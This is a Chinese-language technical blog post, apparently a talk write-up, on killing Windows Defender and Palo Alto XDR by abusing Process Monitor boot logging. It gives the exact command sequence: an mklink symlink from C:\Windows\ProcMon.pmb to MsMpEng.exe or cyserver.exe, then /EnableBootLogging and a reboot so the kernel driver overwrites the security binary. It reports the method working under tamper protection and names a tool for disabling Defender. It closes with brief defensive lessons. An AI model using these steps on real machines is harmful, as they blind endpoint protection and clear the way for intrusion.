利用合法微软工具干掉XDR


2026.01.28的技术分享,主要内容和思路来源于酒仙桥六号部队,但是我做了一些延伸的尝试和思考

Process Monitor

Process Monitor(ProcMon)是Sysinternals的免费高级 Windows 系统监控工具。它集成了文件系统监控、注册表监控、进程/线程活动监控以及网络监控等功能,能够实时记录操作系统中所有进程的详细活动,是系统调试、故障排查和安全分析的强大工具。

蓝队都应该使用的基本工具。

Process Monitor(Procmon)的核心驱动是以 SYSTEM 权限运行的

它需要管理员权限启动GUI,但以内核态(Ring 0)运行,具备驱动级别的权限

因此Process Monitor能够:

  • 监控所有进程(包括 SYSTEM、LSASS、服务进程)
  • 捕获文件 / 注册表 / 进程 / 线程 / 网络等事件
  • 绕过用户态 API Hook

这就导致,即使是管理员权限也无法在 Procmon 驱动运行时对它隐藏行为。

Windows Defender

MsMpEng.exe(Microsoft Malware Protection Engine)是 Windows Defender 的核心实时杀毒引擎。

如果想要干掉XDR,最直观的思路就是直接结束掉这个进程——当然是做不到的

类似的,修改进程对应的文件也是被拒绝的,这是因为:

  • 运行身份:SYSTEM
  • 服务类型:Protected Service(受保护的服务)
  • 受控机制:Tamper Protection(防篡改保护)

Procmon日志文件

Procmon64.exe /accepteula 正常启动并加载其驱动

taskkill /f /t /im Procmon64.exe 结束进程

Procmon64.exe /EnableBootLogging 让 Procmon 记录开机时的系统活动生成日志文件

Procmon 依赖内核驱动 PROCMON24.SYS(版本号可能不同),该驱动具备读写系统关键文件和日志记录的能力。其允许用户保存日志数据(默认路径:C:\Windows\ProcMon.pmb

利用这一特性,我们可以借助Procmon在高权限下创建或修改文件

符号链接

mklink <Link_File> <Target_File>

Windows 支持 NTFS 符号链接 (mklink),这意味着我们可以:

将 C:\Windows\ProcMon.pmb重定向到 MsMpEng.exe

使 Procmon 在日志记录过程中误写入 Defender目录,覆盖原文件

由于 Procmon 运行于内核模式,写入的日志数据不会受Defender保护限制

mklink C:\Windows\ProcMon.pmb "C:\Program Files\Windows Defender\MsMpEng.exe"

创建一个符号链接,使得任何对C:\Windows\ProcMon.pmb进行的写入操作,都会实际写入 MsMpEng.exe。

重启后,Procmon会尝试写入procMon.pmb文件,由于符号链接的存在,日志内容将直接写入MsMpEng.exe,从而破坏 Defender 可执行文件,使其无法正常运行。

demo效果

(文件被写入破坏,MsMpEng.exe进程也已经不再运行)

问题1:已经有了管理员权限,还有必要这么麻烦吗?

极端情况下,我甚至可以配置打开RDP,从病毒和威胁防护设置里把各种保护都关掉?

回答:这种关闭方式 本质是“配置级关闭”,不是停止服务、不是终止进程。

在管理员权限下,关闭 Windows Defender已经变得越来越难,尤其是 Windows 11 22H2 之后 + 2024-2026 年版本,Tamper Protection(防篡改保护) 默认开启,几乎所有传统方法(注册表、组策略、服务停止、PowerShell)都会被直接阻止或几分钟后自动恢复。

经测试,在Windows 11 21H2版本上仍然可以通过这种方式破坏防护(在防篡改保护开启的条件下)

为什么不用更新的版本测试呢,是因为我这台虚拟机的盗版系统升不上去了

问题2:市面上是否有一些成熟的工具可以用?

defendernot

作者通过逆向WSC API禁用Defender。

这种的缺陷是文件落地时本身就会被识别成VirTool:Win64/Defnot.A这种病毒类型,用它禁用Defender需要先关闭防护,成了一个死循环。相较于合法工具的利用这是它的劣势。

问题3:可否类似扩展到其他的XDR?

可以的,以公司有的PA XDR环境为例

mklink C:\Windows\ProcMon.pmb "C:\Program Files\Palo Alto Networks\Traps\cyserver.exe"

类似的方式破坏

可以看到防护功能已经disable

问题4:是否有其他合法工具可以被滥用?

Procmon /EnableBootLogging 本质上是借助内核驱动(SYSTEM / Ring0)在用户登录前就把数据落盘,所以才能在C:\Windows\ProcMon.pmb这种普通管理员都没写权限的路径里生成文件。

  • Sysmon
  • WPR / xperf:基于 ETW(Event Tracing for Windows)

以上合法工具(也是蓝队的)的权限也比较高,也有可能有类似的abuse方法,但是我没有找到类似的重启能生成指定配置文件的方法。

启示

1.合法工具有可能被非法滥用,蓝队工具可能成为红队武器

  • 未出现恶意样本下的安全事件,LOLBAS / GTFOBins
  • 优势 or 隐患

2.Permission, Permission is everything


Reference: https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247502047&idx=1&sn=c1a04bfdf83d879003fd53f059ee2690&chksm=9a72ce4b83cf4f89de6b90f3f71807940e2561cdd9b87444d0beb7e3607f4e7408d283e1761e

文章目录
  1. 1. Process Monitor
  2. 2. Windows Defender
  3. 3. Procmon日志文件
  4. 4. 符号链接
  5. 5. demo效果
  6. 6. 问题1:已经有了管理员权限,还有必要这么麻烦吗?
  7. 7. 问题2:市面上是否有一些成熟的工具可以用?
  8. 8. 问题3:可否类似扩展到其他的XDR?
  9. 9. 问题4:是否有其他合法工具可以被滥用?
  10. 10. 启示
|